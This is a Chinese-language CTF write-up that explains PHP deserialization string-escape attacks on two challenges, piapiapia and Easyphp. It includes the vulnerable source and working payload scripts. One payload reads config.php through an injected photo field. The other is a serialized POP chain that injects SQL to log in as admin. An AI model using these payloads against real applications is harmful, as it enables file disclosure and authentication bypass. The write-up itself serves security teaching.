php反序列化逃逸例题两道
本文只讲反序列化部分，不包含解题全部流程
1 [0CTF 2016]piapiapia
先看漏洞点
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div></body>
</html>
<?php
}
?>
漏洞点在
$profile = unserialize($profile);
$photo = base64_encode(file_get_contents($profile['photo']));
文件读取了先前存储的被序列化后的内容
那么如何控制$profile['photo']?
跟进show_profile
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
跟进filte
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
这里我们发现,如果把where替换为hacker会多一个字符,但这有什么用呢?
我们来看这段代码
<?php
$profile['phone'] = 'phone';
$profile['email'] = 'email';
$profile['nickname'] = 'nickname';
$profile['photo'] = 'photo';
echo(serialize($profile));
# a:4:{s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";s:8:"nickname";s:8:"nickname";s:5:"photo";s:5:"photo";}
如果我们构造
<?php
$profile['phone'] = 'phone';
$profile['email'] = 'email';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'photo';
echo(serialize($profile));
#a:4:{s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:5:"photo";}
在正常情况下，这没什么问题,但是在这道题目中where会被替换为hacker而多一个字符
{s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:5:"photo";}
{s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";s:8:"nickname";s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
成为了一个新的合法整体控制了photo的值
2 [GYCTF2020]Easyphp
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好！".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败，错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面，上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢！";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
先构造反序列化链
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好！".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败，错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误！');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
$pop = new UpdateHelper();
$pop->sql = new user(); # echo $this->sql;触发__toString()调用$this->nickname->update($this->age);
$pop->sql->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
/*
*`SELECT 1, "c4ca4238a0b923820dcc509a6f75849b" FROM user WHERE username=?` 查询时，无论 `?` 替换成什么有效的用户名，只要该用户名存在于 `user` 表中，这条查询都会返回 `1` 和 `"c4ca4238a0b923820dcc509a6f75849b"`。
c4ca4238a0b923820dcc509a6f75849b是1的MD5
### 返回值说明：
- **常量 `1`**: 这个值在查询中是固定的，无论查询条件如何，它都不会改变。
- **固定字符串 `c4ca4238a0b923820dcc509a6f75849b`**: 这也是一个固定的返回值，不会根据用户输入而变化。
### 查询结果：
- 如果 `username` 存在，查询将返回这两个值。
- 如果 `username` 不存在，则查询不会返回任何行。
*/
$pop->sql->nickname = new Info(); # 然后触发Info的__call->echo $this->CtrlCase->login($argument[0]);
$pop->sql->nickname->CtrlCase = new dbCtrl();
#形成dbCtrl->login('select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?')
$pop->sql->nickname->CtrlCase->name= 'admin';
$pop->sql->nickname->CtrlCase->password = '1';
echo(urlencode(serialize($pop)));
# O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
<?php
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
$pop = new Info('1','1');
echo(urlencode(serialize($pop)));
# O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"1";s:8:"CtrlCase";N;}
<?php
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
$pop = new Info('1','unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}');
echo(urlencode(serialize($pop)));
#O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}
union会被替换为hacker,多了一个字符会变成
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1578:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}
hacker的数量正好会变成1578个,导致原来被作为字符串的";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
被解析造成逃逸
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